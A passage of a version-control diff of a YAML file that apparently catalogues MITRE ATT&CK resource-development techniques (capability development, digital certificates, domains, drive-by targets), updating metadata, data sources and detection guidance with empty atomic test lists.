-      - source_name: mitre-attack
-        external_id: T1587
-        url: https://attack.mitre.org/techniques/T1587
-      - url: https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf
-        description: Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage
-          Units. Retrieved July 18, 2016.
-        source_name: Mandiant APT1
-      - source_name: Kaspersky Sofacy
-        description: Kaspersky Lab's Global Research and Analysis Team. (2015, December
-          4). Sofacy APT hits high profile targets with updated toolset. Retrieved
-          December 10, 2015.
-        url: https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/
-      - source_name: Bitdefender StrongPity June 2020
-        url: https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf
-        description: Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing
-          Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020.
-      - source_name: Talos Promethium June 2020
-        url: https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html
-        description: Mercer, W. et al. (2020, June 29). PROMETHIUM extends global
-          reach with StrongPity3 APT. Retrieved July 20, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Develop Capabilities
+      x_mitre_data_sources:
+      - 'Malware Repository: Malware Metadata'
+      - 'Malware Repository: Malware Content'
+      - 'Internet Scan: Response Content'
+      x_mitre_version: '1.1'
+      modified: '2021-10-17T16:07:08.768Z'
+      created: '2020-10-01T01:30:00.877Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--edadea33-549c-4ed1-9783-8f5a5853cbdf
       description: |-
         Adversaries may build capabilities that can be used during targeting. Rather than purchasing, freely downloading, or stealing capabilities, adversaries may develop their own capabilities in-house. This is the process of identifying development requirements and building solutions such as malware, exploits, and self-signed certificates. Adversaries may develop capabilities to support their operations throughout numerous phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: Bitdefender StrongPity June 2020)(Citation: Talos Promethium June 2020)
 
         As with legitimate development efforts, different skill sets may be required for developing capabilities. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the capability.
-      id: attack-pattern--edadea33-549c-4ed1-9783-8f5a5853cbdf
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: resource-development
-      modified: '2021-04-15T03:08:33.511Z'
-      created: '2020-10-01T01:30:00.877Z'
-      x_mitre_detection: Much of this activity will take place outside the visibility
-        of the target organization, making detection of this behavior difficult. Detection
-        efforts may be focused on related stages of the adversary lifecycle, such
-        as during Defense Evasion or Command and Control.
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: false
-      x_mitre_platforms:
-      - PRE
+      x_mitre_detection: |-
+        Consider analyzing malware for features that may be associated with the adversary and/or their developers, such as compiler used, debugging artifacts, or code similarities. Malware repositories can also be used to identify additional samples associated with the adversary and identify development patterns over time.
+
+        Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017)
+
+        Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1587
+        external_id: T1587
+        source_name: mitre-attack
+      - source_name: Mandiant APT1
+        description: Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage
+          Units. Retrieved July 18, 2016.
+        url: https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf
+      - url: https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/
+        description: Kaspersky Lab's Global Research and Analysis Team. (2015, December
+          4). Sofacy APT hits high profile targets with updated toolset. Retrieved
+          December 10, 2015.
+        source_name: Kaspersky Sofacy
+      - url: https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf
+        description: Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing
+          Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020.
+        source_name: Bitdefender StrongPity June 2020
+      - url: https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html
+        description: Mercer, W. et al. (2020, June 29). PROMETHIUM extends global
+          reach with StrongPity3 APT. Retrieved July 20, 2020.
+        source_name: Talos Promethium June 2020
+      - url: https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html
+        description: Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL
+          Certificates. Retrieved October 16, 2020.
+        source_name: Splunk Kovar Certificates 2017
     atomic_tests: []
   T1587.003:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1587.003
-        url: https://attack.mitre.org/techniques/T1587/003
-      - source_name: Splunk Kovar Certificates 2017
-        url: https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html
-        description: Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL
-          Certificates. Retrieved October 16, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Digital Certificates
+      x_mitre_data_sources:
+      - 'Internet Scan: Response Content'
+      x_mitre_version: '1.2'
+      modified: '2021-10-16T17:32:34.604Z'
+      created: '2020-10-01T01:42:24.974Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--1cec9319-743b-4840-bb65-431547bce82a
       description: |-
         Adversaries may create self-signed SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. In the case of self-signing, digital certificates will lack the element of trust associated with the signature of a third-party certificate authority (CA).
 
-        Adversaries may create self-signed SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Man-in-the-Middle](https://attack.mitre.org/techniques/T1557) if added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)).
+        Adversaries may create self-signed SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) if added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)).
 
         After creating a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control.
-      id: attack-pattern--1cec9319-743b-4840-bb65-431547bce82a
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: resource-development
-      modified: '2021-04-15T02:33:38.589Z'
-      created: '2020-10-01T01:42:24.974Z'
       x_mitre_detection: |-
         Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017)
 
         Detection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001), [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002), and/or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).
-      x_mitre_version: '1.1'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - PRE
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1587/003
+        external_id: T1587.003
+        source_name: mitre-attack
+      - url: https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html
+        description: Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL
+          Certificates. Retrieved October 16, 2020.
+        source_name: Splunk Kovar Certificates 2017
     atomic_tests: []
   T1588.004:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1588.004
-        url: https://attack.mitre.org/techniques/T1588/004
-      - description: Fisher, D. (2012, October 31). Final Report on DigiNotar Hack
-          Shows Total Compromise of CA Servers. Retrieved March 6, 2017.
-        source_name: DiginotarCompromise
-        url: https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/
-      - source_name: Let's Encrypt FAQ
-        url: https://letsencrypt.org/docs/faq/
-        description: Let's Encrypt. (2020, April 23). Let's Encrypt FAQ. Retrieved
-          October 15, 2020.
-      - source_name: Splunk Kovar Certificates 2017
-        url: https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html
-        description: Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL
-          Certificates. Retrieved October 16, 2020.
-      - source_name: Recorded Future Beacon Certificates
-        url: https://www.recordedfuture.com/cobalt-strike-servers/
-        description: Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying
-          Rogue Cobalt Strike Servers. Retrieved October 16, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Digital Certificates
+      x_mitre_data_sources:
+      - 'Certificate: Certificate Registration'
+      - 'Internet Scan: Response Content'
+      x_mitre_version: '1.2'
+      modified: '2021-10-16T17:44:09.486Z'
+      created: '2020-10-01T02:14:18.044Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--19401639-28d0-4c3c-adcc-bc2ba22f6421
       description: |-
         Adversaries may buy and/or steal SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner.
 
-        Adversaries may purchase or steal SSL/TLS certificates to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Man-in-the-Middle](https://attack.mitre.org/techniques/T1557) if the certificate is trusted or otherwise added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)). The purchase of digital certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal certificate materials directly from a compromised third-party, including from certificate authorities.(Citation: DiginotarCompromise) Adversaries may register or hijack domains that they will later purchase an SSL/TLS certificate for.
+        Adversaries may purchase or steal SSL/TLS certificates to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) if the certificate is trusted or otherwise added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)). The purchase of digital certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal certificate materials directly from a compromised third-party, including from certificate authorities.(Citation: DiginotarCompromise) Adversaries may register or hijack domains that they will later purchase an SSL/TLS certificate for.
 
         Certificate authorities exist that allow adversaries to acquire SSL/TLS certificates, such as domain validation certificates, for free.(Citation: Let's Encrypt FAQ)
 
         After obtaining a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control.
-      id: attack-pattern--19401639-28d0-4c3c-adcc-bc2ba22f6421
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: resource-development
-      modified: '2021-04-15T02:32:49.507Z'
-      created: '2020-10-01T02:14:18.044Z'
       x_mitre_detection: |-
         Consider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates)
 
         Detection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001), [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002), and/or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).
-      x_mitre_version: '1.1'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - PRE
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1588/004
+        external_id: T1588.004
+        source_name: mitre-attack
+      - url: https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/
+        description: Fisher, D. (2012, October 31). Final Report on DigiNotar Hack
+          Shows Total Compromise of CA Servers. Retrieved March 6, 2017.
+        source_name: DiginotarCompromise
+      - url: https://letsencrypt.org/docs/faq/
+        description: Let's Encrypt. (2020, April 23). Let's Encrypt FAQ. Retrieved
+          October 15, 2020.
+        source_name: Let's Encrypt FAQ
+      - url: https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html
+        description: Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL
+          Certificates. Retrieved October 16, 2020.
+        source_name: Splunk Kovar Certificates 2017
+      - url: https://www.recordedfuture.com/cobalt-strike-servers/
+        description: Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying
+          Rogue Cobalt Strike Servers. Retrieved October 16, 2020.
+        source_name: Recorded Future Beacon Certificates
     atomic_tests: []
   T1583.001:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Domains
+      x_mitre_data_sources:
+      - 'Domain Name: Active DNS'
+      - 'Domain Name: Passive DNS'
+      - 'Domain Name: Domain Registration'
+      x_mitre_version: '1.1'
+      modified: '2021-10-16T17:09:26.334Z'
       created: '2020-09-30T17:09:31.878Z'
-      modified: '2021-04-15T02:50:38.792Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: resource-development
-      type: attack-pattern
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: true
       id: attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3
       description: |-
         Adversaries may purchase domains that can be used during targeting. Domain names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free.
@@ -60868,113 +62760,106 @@ resource-development:
         Adversaries can use purchased domains for a variety of purposes, including for [Phishing](https://attack.mitre.org/techniques/T1566), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), and Command and Control.(Citation: CISA MSS Sep 2020) Adversaries may choose domains that are similar to legitimate domains, including through use of homoglyphs or use of a different top-level domain (TLD).(Citation: FireEye APT28)(Citation: PaypalScam) Typosquatting may be used to aid in delivery of payloads via [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). Adversaries can also use internationalized domain names (IDNs) to create visually similar lookalike domains for use in operations.(Citation: CISA IDN ST05-016)
 
         Domain registrars each maintain a publicly viewable database that displays contact information for every registered domain. Private WHOIS services display alternative information, such as their own company data, rather than the owner of the domain. Adversaries may use such private WHOIS services to obscure information about who owns a purchased domain. Adversaries may further interrupt efforts to track their infrastructure by using varied registration information and purchasing domains with different domain registrars.(Citation: Mandiant APT1)
-      name: Domains
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1583.001
-        url: https://attack.mitre.org/techniques/T1583/001
-      - external_id: CAPEC-630
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/630.html
-      - source_name: CISA MSS Sep 2020
-        url: https://us-cert.cisa.gov/ncas/alerts/aa20-258a
-        description: 'CISA. (2020, September 14). Alert (AA20-258A): Chinese Ministry
-          of State Security-Affiliated Cyber Threat Actor Activity. Retrieved October
-          1, 2020.'
-      - source_name: FireEye APT28
-        description: 'FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE
-          OPERATIONS?. Retrieved August 19, 2015.'
-        url: https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf
-      - source_name: PaypalScam
-        description: Bob Sullivan. (2000, July 24). PayPal alert! Beware the 'PaypaI'
-          scam. Retrieved March 2, 2017.
-        url: https://www.zdnet.com/article/paypal-alert-beware-the-paypai-scam-5000109103/
-      - source_name: CISA IDN ST05-016
-        url: https://us-cert.cisa.gov/ncas/tips/ST05-016
-        description: 'CISA. (2019, September 27). Security Tip (ST05-016): Understanding
-          Internationalized Domain Names. Retrieved October 20, 2020.'
-      - url: https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf
-        description: Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage
-          Units. Retrieved July 18, 2016.
-        source_name: Mandiant APT1
-      x_mitre_platforms:
-      - PRE
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
-      x_mitre_detection: |-
-        Domain registration information is, by design, captured in public registration logs. Consider use of services that may aid in tracking of newly acquired domains, such as WHOIS databases and/or passive DNS. In some cases it may be possible to pivot on known pieces of domain registration information to uncover other infrastructure purchased by the adversary. Consider monitoring for domains created with a similar structure to your own, including under a different TLD. Though various tools and services exist to track, query, and monitor domain name registration information, tracking across multiple DNS infrastructures can require multiple tools/services or more advanced analytics.
-
-        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access and Command and Control.
       x_mitre_contributors:
       - Wes Hurd
       - Vinayak Wadhwa, Lucideus
       - Deloitte Threat Library Team
+      x_mitre_detection: |-
+        Domain registration information is, by design, captured in public registration logs. Consider use of services that may aid in tracking of newly acquired domains, such as WHOIS databases and/or passive DNS. In some cases it may be possible to pivot on known pieces of domain registration information to uncover other infrastructure purchased by the adversary. Consider monitoring for domains created with a similar structure to your own, including under a different TLD. Though various tools and services exist to track, query, and monitor domain name registration information, tracking across multiple DNS infrastructures can require multiple tools/services or more advanced analytics.(Citation: ThreatConnect Infrastructure Dec 2020)
+
+        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access and Command and Control.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1583/001
+        external_id: T1583.001
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/630.html
+        external_id: CAPEC-630
+        source_name: capec
+      - url: https://us-cert.cisa.gov/ncas/alerts/aa20-258a
+        description: 'CISA. (2020, September 14). Alert (AA20-258A): Chinese Ministry
+          of State Security-Affiliated Cyber Threat Actor Activity. Retrieved October
+          1, 2020.'
+        source_name: CISA MSS Sep 2020
+      - url: https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf
+        description: 'FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE
+          OPERATIONS?. Retrieved August 19, 2015.'
+        source_name: FireEye APT28
+      - url: https://www.zdnet.com/article/paypal-alert-beware-the-paypai-scam-5000109103/
+        description: Bob Sullivan. (2000, July 24). PayPal alert! Beware the 'PaypaI'
+          scam. Retrieved March 2, 2017.
+        source_name: PaypalScam
+      - url: https://us-cert.cisa.gov/ncas/tips/ST05-016
+        description: 'CISA. (2019, September 27). Security Tip (ST05-016): Understanding
+          Internationalized Domain Names. Retrieved October 20, 2020.'
+        source_name: CISA IDN ST05-016
+      - source_name: Mandiant APT1
+        description: Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage
+          Units. Retrieved July 18, 2016.
+        url: https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf
+      - url: https://threatconnect.com/blog/infrastructure-research-hunting/
+        description: 'ThreatConnect. (2020, December 15). Infrastructure Research
+          and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.'
+        source_name: ThreatConnect Infrastructure Dec 2020
     atomic_tests: []
   T1584.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1584.001
-        url: https://attack.mitre.org/techniques/T1584/001
-      - source_name: ICANNDomainNameHijacking
-        description: 'ICANN Security and Stability Advisory Committee. (2005, July
-          12). Domain Name Hijacking: Incidents, Threats, Risks and Remediation. Retrieved
-          March 6, 2017.'
-        url: https://www.icann.org/groups/ssac/documents/sac-007-en
-      - source_name: Microsoft Sub Takeover 2020
-        url: https://docs.microsoft.com/en-us/azure/security/fundamentals/subdomain-takeover
-        description: Microsoft. (2020, September 29). Prevent dangling DNS entries
-          and avoid subdomain takeover. Retrieved October 12, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Domains
+      x_mitre_data_sources:
+      - 'Domain Name: Active DNS'
+      - 'Domain Name: Passive DNS'
+      - 'Domain Name: Domain Registration'
+      x_mitre_version: '1.1'
+      modified: '2021-10-17T15:51:26.715Z'
+      created: '2020-10-01T00:51:28.513Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--f9cc4d06-775f-4ee1-b401-4e2cc0da30ba
       description: |-
         Adversaries may hijack domains and/or subdomains that can be used during targeting. Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant.(Citation: ICANNDomainNameHijacking) An adversary may gain access to an email account for the person listed as the owner of the domain. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account or taking advantage of renewal process gaps.
 
         Subdomain hijacking can occur when organizations have DNS entries that point to non-existent or deprovisioned resources. In such cases, an adversary may take control of a subdomain to conduct operations with the benefit of the trust associated with that domain.(Citation: Microsoft Sub Takeover 2020)
-      id: attack-pattern--f9cc4d06-775f-4ee1-b401-4e2cc0da30ba
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: resource-development
-      modified: '2021-04-15T03:02:43.030Z'
-      created: '2020-10-01T00:51:28.513Z'
-      x_mitre_detection: Much of this activity will take place outside the visibility
-        of the target organization, making detection of this behavior difficult. Detection
-        efforts may be focused on related stages of the adversary lifecycle, such
-        as during Command and Control.
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - PRE
+      x_mitre_detection: |-
+        Consider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet.
+
+        Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1584/001
+        external_id: T1584.001
+        source_name: mitre-attack
+      - url: https://www.icann.org/groups/ssac/documents/sac-007-en
+        description: 'ICANN Security and Stability Advisory Committee. (2005, July
+          12). Domain Name Hijacking: Incidents, Threats, Risks and Remediation. Retrieved
+          March 6, 2017.'
+        source_name: ICANNDomainNameHijacking
+      - url: https://docs.microsoft.com/en-us/azure/security/fundamentals/subdomain-takeover
+        description: Microsoft. (2020, September 29). Prevent dangling DNS entries
+          and avoid subdomain takeover. Retrieved October 12, 2020.
+        source_name: Microsoft Sub Takeover 2020
     atomic_tests: []
   T1608.004:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1608.004
-        url: https://attack.mitre.org/techniques/T1608/004
-      - source_name: FireEye CFR Watering Hole 2012
-        url: https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html
-        description: Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details.
-          Retrieved December 18, 2020.
-      - source_name: Gallagher 2015
-        description: Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking
-          group hacked 100+ websites to use as “watering holes”. Retrieved January
-          25, 2016.
-        url: http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/
-      - source_name: ATT ScanBox
-        url: https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks
-        description: 'Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework
-          Used with Watering Hole Attacks. Retrieved October 19, 2020.'
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Drive-by Target
+      x_mitre_data_sources:
+      - 'Internet Scan: Response Content'
+      x_mitre_version: '1.1'
+      modified: '2021-10-17T16:27:38.793Z'
+      created: '2021-03-17T20:33:20.127Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--31fe0ba2-62fd-4fd9-9293-4043d84f7fe9
       description: |-
         Adversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing. Endpoint systems may be compromised through browsing to adversary controlled sites, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as [Application Access Token](https://attack.mitre.org/techniques/T1550/001). Prior to [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).
 
@@ -60983,149 +62868,163 @@ resource-development:
         Websites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted attack is referred to a strategic web compromise or watering hole attack.
 
         Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).
-      id: attack-pattern--31fe0ba2-62fd-4fd9-9293-4043d84f7fe9
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: resource-development
-      modified: '2021-04-27T17:52:55.302Z'
-      created: '2021-03-17T20:33:20.127Z'
-      x_mitre_detection: Much of this activity will take place outside the visibility
-        of the target organization, making detection of this behavior difficult. Detection
-        efforts may be focused on other phases of the adversary lifecycle, such as
-        [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or [Exploitation
-        for Client Execution](https://attack.mitre.org/techniques/T1203).
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - PRE
+      x_mitre_detection: |-
+        If infrastructure or patterns in the malicious web content utilized to deliver a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) have been previously identified, internet scanning may uncover when an adversary has staged web content for use in a strategic web compromise.
+
+        Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203).
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1608/004
+        external_id: T1608.004
+        source_name: mitre-attack
+      - url: https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html
+        description: Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details.
+          Retrieved December 18, 2020.
+        source_name: FireEye CFR Watering Hole 2012
+      - url: http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/
+        description: Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking
+          group hacked 100+ websites to use as “watering holes”. Retrieved January
+          25, 2016.
+        source_name: Gallagher 2015
+      - url: https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks
+        description: 'Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework
+          Used with Watering Hole Attacks. Retrieved October 19, 2020.'
+        source_name: ATT ScanBox
     atomic_tests: []
   T1585.002:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1585.002
-        url: https://attack.mitre.org/techniques/T1585/002
-      - url: https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf
-        description: Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage
-          Units. Retrieved July 18, 2016.
-        source_name: Mandiant APT1
-      - source_name: Trend Micro R980 2016
-        url: https://blog.trendmicro.com/trendlabs-security-intelligence/r980-ransomware-disposable-email-service/
